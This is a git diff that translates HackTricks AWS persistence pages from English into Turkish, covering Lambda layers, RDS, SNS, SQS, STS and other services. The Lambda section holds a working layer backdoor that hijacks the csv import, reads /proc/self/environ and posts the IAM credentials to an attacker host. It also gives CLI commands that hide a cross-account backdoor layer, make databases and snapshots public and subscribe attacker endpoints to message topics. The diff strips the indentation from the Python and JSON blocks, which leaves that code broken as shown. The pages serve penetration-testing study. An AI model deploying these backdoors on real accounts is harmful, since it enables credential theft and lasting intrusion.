+**Varsayılan olarak**, oluşturduğunuz **katmanlar** AWS hesabınıza **özel**dir. Bir katmanı diğer hesaplarla **paylaşmayı** veya katmanı **genel** hale getirmeyi seçebilirsiniz. Fonksiyonlarınız, farklı bir hesap tarafından yayımlanan bir katmanı tüketiyorsa, fonksiyonlarınız **katman silindikten sonra veya katmana erişim izniniz geri alındıktan sonra katman sürümünü kullanmaya devam edebilir**. Ancak, silinmiş bir katman sürümünü kullanarak yeni bir fonksiyon oluşturamaz veya fonksiyonları güncelleyemezsiniz.
-Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
+Bir konteyner görüntüsü olarak dağıtılan fonksiyonlar katmanları kullanmaz. Bunun yerine, görüntüyü oluşturduğunuzda tercih ettiğiniz çalışma zamanı, kütüphaneler ve diğer bağımlılıkları konteyner görüntüsüne paketlersiniz.
-### Python load path
-
-The load path that Python will use in lambda is the following:
+### Python yükleme yolu
+Python'un lambda'da kullanacağı yükleme yolu şudur:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
-
Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
> [!CAUTION]
-> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
+> Eğer bir saldırgan kullanılan bir lambda **layer**'ına **arka kapı** eklemeyi veya **bir tane eklemeyi** başarırsa ve bu, **yaygın bir kütüphane yüklendiğinde rastgele kod çalıştırıyorsa**, her lambda çağrısında kötü niyetli kod çalıştırabilir.
-Therefore, the requisites are:
+Bu nedenle, gereksinimler şunlardır:
-- **Check libraries** that are **loaded** by the victims code
-- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
+- **Kurbanların kodu tarafından yüklenen kütüphaneleri kontrol et**
+- **Özel kod çalıştıracak ve orijinal** kütüphaneyi **yükleyecek bir proxy kütüphanesi oluştur.**
-### Preloaded libraries
+### Önceden yüklenmiş kütüphaneler
> [!WARNING]
-> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
-> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
-
-With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
+> Bu tekniği kötüye kullanırken bir zorlukla karşılaştım: Bazı kütüphaneler, kodunuz çalıştırıldığında python çalışma zamanında **zaten yüklenmiş** durumda. `os` veya `sys` gibi şeyler bulmayı bekliyordum, ama **hatta `json` kütüphanesi bile yüklüydü**.\
+> Bu kalıcılık tekniğini kötüye kullanmak için, kod çalıştırıldığında **yüklenmemiş yeni bir kütüphaneyi yüklemesi** gerekiyor.
+Bu python kodu ile lambda'da python çalışma zamanında **önceden yüklenmiş kütüphanelerin listesini** elde etmek mümkündür:
```python
import sys
def lambda_handler(event, context):
- return {
- 'statusCode': 200,
- 'body': str(sys.modules.keys())
- }
+return {
+'statusCode': 200,
+'body': str(sys.modules.keys())
+}
```
-
-And this is the **list** (check that libraries like `os` or `json` are already there)
-
+Ve bu **liste** (kütüphanelerin `os` veya `json` gibi zaten orada olduğundan emin olun)
```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```
+Ve bu, **lambda'nın varsayılan olarak yüklediği kütüphaneler** listesidir: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
-And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
+### Lambda Katmanı Arka Kapı
-### Lambda Layer Backdooring
+Bu örnekte, hedef kodun **`csv`**'yi içe aktardığını varsayalım. **`csv` kütüphanesinin içe aktarımına arka kapı koyacağız**.
-In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
+Bunu yapmak için, **`/opt/python/lib/python3.9/site-packages`** yolunda **csv** adlı dizini ve içinde **`__init__.py`** dosyasını oluşturacağız.\
+Sonra, lambda çalıştırıldığında ve **csv**'yi yüklemeye çalıştığında, **`__init__.py` dosyamız yüklenecek ve çalıştırılacaktır**.\
+Bu dosya şunları yapmalıdır:
-For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
-Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
-This file must:
-
-- Execute our payload
-- Load the original csv library
-
-We can do both with:
+- Payload'ımızı çalıştırmak
+- Orijinal csv kütüphanesini yüklemek
+Her ikisini de şu şekilde yapabiliriz:
```python
import sys
from urllib import request
with open("/proc/self/environ", "rb") as file:
- url= "https://attacker13123344.com/" #Change this to your server
- req = request.Request(url, data=file.read(), method="POST")
- response = request.urlopen(req)
+url= "https://attacker13123344.com/" #Change this to your server
+req = request.Request(url, data=file.read(), method="POST")
+response = request.urlopen(req)
# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
@@ -90,29 +83,27 @@ import csv as _csv
sys.modules["csv"] = _csv
```
+Sonra, bu kodu **`python/lib/python3.9/site-packages/__init__.py`** yolunda bir zip dosyası oluşturun ve bunu bir lambda katmanı olarak ekleyin.
-Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.
+Bu kodu [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) adresinde bulabilirsiniz.
-You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
-
-The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
+Entegre yük, **ilk kez çağrıldığında veya lambda konteynerinin sıfırlanmasından sonra IAM kimlik bilgilerini bir sunucuya gönderecektir** (kod değişikliği veya soğuk lambda), ancak **aşağıdaki gibi diğer teknikler** de entegre edilebilir:
{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
-### External Layers
+### Harici Katmanlar
-Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
-Also note that the **max number of layers a lambda can have is 5**.
+**Harici hesaplardan lambda katmanları** kullanmanın mümkün olduğunu unutmayın. Ayrıca, bir lambda, izinleri olmasa bile harici bir hesaptan bir katmanı kullanabilir.\
+Ayrıca, bir lambda'nın sahip olabileceği **maksimum katman sayısının 5 olduğunu** unutmayın.
-Therefore, in order to improve the versatility of this technique an attacker could:
-
-- Backdoor an existing layer of the user (nothing is external)
-- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
- - The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
- - The victim **won't see external layers** used with **`aws lambda list-layers`**
+Bu nedenle, bu tekniğin çok yönlülüğünü artırmak için bir saldırgan şunları yapabilir:
+- Kullanıcının mevcut bir katmanını arka kapı ile değiştirmek (hiçbir şey harici değil)
+- **Kendi hesabında** bir **katman oluşturmak**, **kurban hesabına katmanı kullanma erişimi vermek**, **katmanı** kurbanın Lambda'sında **yapılandırmak** ve **izinleri kaldırmak**.
+- **Lambda**, **katmanı kullanmaya** devam edebilecek ve **kurban**, **katman kodunu indirmek için** kolay bir yol bulamayacaktır (lambda içinde bir rev shell almanın dışında).
+- Kurban, **`aws lambda list-layers`** ile kullanılan harici katmanları **görmeyecek**.
```bash
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
@@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
```
-
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index 88b0d082a..396c8fd84 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -1,37 +1,33 @@
-# AWS - Lightsail Persistence
+# AWS - Lightsail Sürekliliği
{{#include ../../../banners/hacktricks-training.md}}
## Lightsail
-For more information check:
+Daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-lightsail-enum.md
{{#endref}}
-### Download Instance SSH keys & DB passwords
+### Instance SSH anahtarlarını ve DB şifrelerini indirin
-They won't be changed probably so just having them is a good option for persistence
+Muhtemelen değişmeyecekler, bu yüzden onları bulundurmak süreklilik için iyi bir seçenek.
-### Backdoor Instances
+### Arka Kapı Instance'ları
-An attacker could get access to the instances and backdoor them:
+Bir saldırgan instance'lara erişim sağlayabilir ve onlara arka kapı ekleyebilir:
-- Using a traditional **rootkit** for example
-- Adding a new **public SSH key**
-- Expose a port with port knocking with a backdoor
+- Örneğin geleneksel bir **rootkit** kullanarak
+- Yeni bir **genel SSH anahtarı** ekleyerek
+- Bir arka kapı ile port knocking ile bir port açarak
-### DNS persistence
+### DNS sürekliliği
-If domains are configured:
+Eğer alan adları yapılandırılmışsa:
-- Create a subdomain pointing your IP so you will have a **subdomain takeover**
-- Create **SPF** record allowing you to send **emails** from the domain
-- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones
+- IP'nizi işaret eden bir alt alan adı oluşturun, böylece bir **alt alan adı ele geçirme** gerçekleştirebilirsiniz.
+- Alan adından **e-posta** göndermenizi sağlayan bir **SPF** kaydı oluşturun.
+- **Ana alan IP'sini kendi IP'nizle** yapılandırın ve kendi IP'nizden meşru olanlara bir **MitM** gerçekleştirin.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index b7a4b8f7b..79a4f4665 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -1,35 +1,27 @@
-# AWS - RDS Persistence
+# AWS - RDS Sürekliliği
{{#include ../../../banners/hacktricks-training.md}}
## RDS
-For more information check:
+Daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
{{#endref}}
-### Make instance publicly accessible: `rds:ModifyDBInstance`
-
-An attacker with this permission can **modify an existing RDS instance to enable public accessibility**.
+### Örneği herkese açık erişilebilir hale getirin: `rds:ModifyDBInstance`
+Bu izne sahip bir saldırgan, **mevcut bir RDS örneğini herkese açık erişilebilir hale getirmek için değiştirebilir**.
```bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
```
+### Veritabanı içinde bir yönetici kullanıcısı oluşturun
-### Create an admin user inside the DB
-
-An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database.
-
-### Make snapshot public
+Bir saldırgan, **veritabanı içinde bir kullanıcı oluşturabilir**, böylece ana kullanıcı şifresi değiştirilse bile **veritabanına erişimini kaybetmez**.
+### Anlık görüntüyü herkese açık hale getirin
```bash
aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index f2c4ce048..8fde0947f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -1,29 +1,25 @@
-# AWS - S3 Persistence
+# AWS - S3 Sürekliliği
{{#include ../../../banners/hacktricks-training.md}}
## S3
-For more information check:
+Daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
-### KMS Client-Side Encryption
+### KMS İstemci Tarafı Şifreleme
-When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
+Şifreleme işlemi tamamlandığında kullanıcı, yeni bir anahtar oluşturmak için KMS API'sini kullanacak (`aws kms generate-data-key`) ve **oluşturulan şifreli anahtarı dosyanın meta verileri içinde saklayacaktır** ([python kod örneği](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) böylece şifre çözme işlemi gerçekleştiğinde KMS'yi tekrar kullanarak şifreyi çözebilir:
-Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it.
+Bu nedenle, bir saldırgan bu anahtarı meta verilerden alabilir ve KMS ile şifre çözme işlemi yaparak (`aws kms decrypt`) bilgileri şifrelemek için kullanılan anahtarı elde edebilir. Bu şekilde saldırgan şifreleme anahtarına sahip olacak ve eğer bu anahtar diğer dosyaları şifrelemek için yeniden kullanılırsa, onu kullanabilecektir.
-### Using S3 ACLs
+### S3 ACL'lerini Kullanma
-Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket.
+Genellikle bucket'ların ACL'leri devre dışı bırakılmış olsa da, yeterli ayrıcalıklara sahip bir saldırgan bunları kötüye kullanabilir (eğer etkinse veya saldırgan bunları etkinleştirebiliyorsa) S3 bucket'ına erişimi sürdürmek için.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index c15f27003..5ca2b2c21 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -1,57 +1,51 @@
-# AWS - Secrets Manager Persistence
+# AWS - Secrets Manager Sürekliliği
{{#include ../../../banners/hacktricks-training.md}}
## Secrets Manager
-For more info check:
+Daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-secrets-manager-enum.md
{{#endref}}
-### Via Resource Policies
+### Kaynak Politikaları Aracılığıyla
-It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
+Kaynak politikaları aracılığıyla **gizli bilgilere dış hesapların erişimini sağlamak** mümkündür. Daha fazla bilgi için [**Secrets Manager Privesc sayfasını**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) kontrol edin. **Bir gizli bilgiye erişmek** için dış hesabın ayrıca **gizli bilgiyi şifreleyen KMS anahtarına erişimi olması gerektiğini** unutmayın.
-### Via Secrets Rotate Lambda
+### Secrets Rotate Lambda Aracılığıyla
-To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself.
-
-This is how lambda code for such action could look like:
+Gizli bilgileri otomatik olarak **değiştirmek** için yapılandırılmış bir **Lambda** çağrılır. Eğer bir saldırgan **kodunu değiştirebilirse**, yeni gizli bilgiyi doğrudan **kendi hesabına sızdırabilir**.
+Bu tür bir eylem için lambda kodu şöyle görünebilir:
```python
import boto3
def rotate_secrets(event, context):
- # Create a Secrets Manager client
- client = boto3.client('secretsmanager')
+# Create a Secrets Manager client
+client = boto3.client('secretsmanager')
- # Retrieve the current secret value
- secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
+# Retrieve the current secret value
+secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
- # Rotate the secret by updating its value
- new_secret_value = rotate_secret(secret_value)
- client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
+# Rotate the secret by updating its value
+new_secret_value = rotate_secret(secret_value)
+client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
def rotate_secret(secret_value):
- # Perform the rotation logic here, e.g., generate a new password
+# Perform the rotation logic here, e.g., generate a new password
- # Example: Generate a new password
- new_secret_value = generate_password()
+# Example: Generate a new password
+new_secret_value = generate_password()
- return new_secret_value
+return new_secret_value
def generate_password():
- # Example: Generate a random password using the secrets module
- import secrets
- import string
- password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
- return password
+# Example: Generate a random password using the secrets module
+import secrets
+import string
+password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
+return password
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index 8e97cc81c..0d3b6b0c6 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -1,85 +1,77 @@
-# AWS - SNS Persistence
+# AWS - SNS Sürekliliği
{{#include ../../../banners/hacktricks-training.md}}
## SNS
-For more information check:
+Daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-sns-enum.md
{{#endref}}
-### Persistence
-
-When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
-The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
+### Süreklilik
+Bir **SNS konusu** oluştururken, **kimlerin okuma ve yazma erişimine sahip olduğunu** IAM politikası ile belirtmeniz gerekir. Harici hesapları, rol ARN'lerini veya **hatta "\*"** belirtmek mümkündür.\
+Aşağıdaki politika, AWS'deki herkesin **`MySNS.fifo`** adlı SNS konusuna okuma ve yazma erişimi sağlar:
```json
{
- "Version": "2008-10-17",
- "Id": "__default_policy_ID",
- "Statement": [
- {
- "Sid": "__default_statement_ID",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": [
- "SNS:Publish",
- "SNS:RemovePermission",
- "SNS:SetTopicAttributes",
- "SNS:DeleteTopic",
- "SNS:ListSubscriptionsByTopic",
- "SNS:GetTopicAttributes",
- "SNS:AddPermission",
- "SNS:Subscribe"
- ],
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
- "Condition": {
- "StringEquals": {
- "AWS:SourceOwner": "318142138553"
- }
- }
- },
- {
- "Sid": "__console_pub_0",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": "SNS:Publish",
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
- },
- {
- "Sid": "__console_sub_0",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": "SNS:Subscribe",
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
- }
- ]
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__default_statement_ID",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"SNS:Publish",
+"SNS:RemovePermission",
+"SNS:SetTopicAttributes",
+"SNS:DeleteTopic",
+"SNS:ListSubscriptionsByTopic",
+"SNS:GetTopicAttributes",
+"SNS:AddPermission",
+"SNS:Subscribe"
+],
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+"Condition": {
+"StringEquals": {
+"AWS:SourceOwner": "318142138553"
+}
+}
+},
+{
+"Sid": "__console_pub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Publish",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+},
+{
+"Sid": "__console_sub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Subscribe",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+}
+]
}
```
+### Aboneler Oluştur
-### Create Subscribers
-
-To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
-
-Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
+Tüm konulardan tüm mesajları dışarı aktarmaya devam etmek için saldırgan **tüm konular için aboneler oluşturabilir**.
+**Konu FIFO türündeyse**, yalnızca **SQS** protokolünü kullanan aboneler kullanılabilir.
```bash
aws sns subscribe --region \
- --protocol http \
- --notification-endpoint http:/// \
- --topic-arn
+--protocol http \
+--notification-endpoint http:/// \
+--topic-arn
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
index 88f396173..09a229b21 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
@@ -1,43 +1,37 @@
-# AWS - SQS Persistence
+# AWS - SQS Sürekliliği
{{#include ../../../banners/hacktricks-training.md}}
## SQS
-For more information check:
+Daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-sqs-and-sns-enum.md
{{#endref}}
-### Using resource policy
-
-In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
-The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**:
+### Kaynak politikasını kullanma
+SQS'de **kimlerin okuma ve yazma erişimine sahip olduğunu** IAM politikası ile belirtmeniz gerekir. Harici hesapları, rol ARN'lerini veya **hatta "\*"** belirtmek mümkündür.\
+Aşağıdaki politika, AWS'deki herkesin **MyTestQueue** adlı kuyruğun içindeki her şeye erişim sağlamasını verir:
```json
{
- "Version": "2008-10-17",
- "Id": "__default_policy_ID",
- "Statement": [
- {
- "Sid": "__owner_statement",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": ["SQS:*"],
- "Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
- }
- ]
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__owner_statement",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": ["SQS:*"],
+"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+}
+]
}
```
-
> [!NOTE]
-> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+> Her seferinde kuyrukta yeni bir mesaj **eklendiğinde saldırganın hesabında bir Lambda tetikleyebilirsiniz** (bunu yeniden eklemeniz gerekecek) bir şekilde. Bunun için bu talimatları izleyin: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
index c1b9a422b..a6d853f3f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
@@ -1,6 +1 @@
-# AWS - SSM Perssitence
-
-
-
-
-
+# AWS - SSM Sürekliliği
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
index 4e8c120ff..6367bcce2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -1,25 +1,21 @@
-# AWS - Step Functions Persistence
+# AWS - Step Functions Sürekliliği
{{#include ../../../banners/hacktricks-training.md}}
## Step Functions
-For more information check:
+Daha fazla bilgi için kontrol edin:
{{#ref}}
../aws-services/aws-stepfunctions-enum.md
{{#endref}}
-### Step function Backdooring
+### Step Function Arka Kapı Açma
-Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps.
+Bir step function'ı arka kapı açarak, her çalıştırıldığında kötü niyetli adımlarınızı çalıştıracak şekilde herhangi bir süreklilik numarasını gerçekleştirmesini sağlayın.
-### Backdooring aliases
+### Arka Kapı Açma Takma Adları
-If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function.
+Eğer AWS hesabı step function'ları çağırmak için takma adlar kullanıyorsa, bir takma adı değiştirerek step function'ın yeni arka kapılı versiyonunu kullanmak mümkün olacaktır.
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index 74db04bec..e128ae9ea 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -1,65 +1,62 @@
-# AWS - STS Persistence
+# AWS - STS Sürekliliği
{{#include ../../../banners/hacktricks-training.md}}
## STS
-For more information access:
+Daha fazla bilgi için erişin:
{{#ref}}
../aws-services/aws-sts-enum.md
{{#endref}}
-### Assume role token
+### Rol üstlenme tokeni
-Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence.
+Geçici tokenler listelenemez, bu nedenle aktif bir geçici tokeni sürdürmek, sürekliliği sağlamak için bir yoldur.
aws sts get-session-token --duration-seconds 129600
-# With MFA
+# MFA ile
aws sts get-session-token \
- --serial-number <mfa-device-name> \
- --token-code <code-from-token>
+--serial-number <mfa-device-name> \
+--token-code <code-from-token>
-# Hardware device name is usually the number from the back of the device, such as GAHT12345678
-# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
-# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
+# Donanım cihazı adı genellikle cihazın arkasındaki numaradır, örneğin GAHT12345678
+# SMS cihaz adı AWS'deki ARN'dir, örneğin arn:aws:iam::123456789012:sms-mfa/kullanıcı adı
+# Sanal cihaz adı AWS'deki ARN'dir, örneğin arn:aws:iam::123456789012:mfa/kullanıcı adı
-### Role Chain Juggling
+### Rol Zinciri Oynama
-[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials.
-
